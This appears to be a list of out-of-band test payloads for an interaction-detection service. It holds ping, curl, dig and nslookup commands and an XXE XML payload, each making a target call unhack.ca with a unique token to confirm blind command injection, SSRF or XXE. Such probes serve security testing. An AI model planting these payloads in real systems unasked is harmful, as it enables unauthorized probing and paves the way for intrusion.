$ ping -c1 -p 006fca98654f2a37b81fac05389b0300 unhack.ca
 

$ curl http://unhack.ca/p/6fca98654f2a37b81fac05389b03
 

$ dig 6fca98654f2a37b81fac05389b03 @unhack.ca
 

$ dig 6fca98654f2a37b81fac05389b03.ns.unhack.ca
 

C:\> nslookup 6fca98654f2a37b81fac05389b03 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6fca98654f2a37b81fac05389b03">]>
    <foo>&xxe;</foo>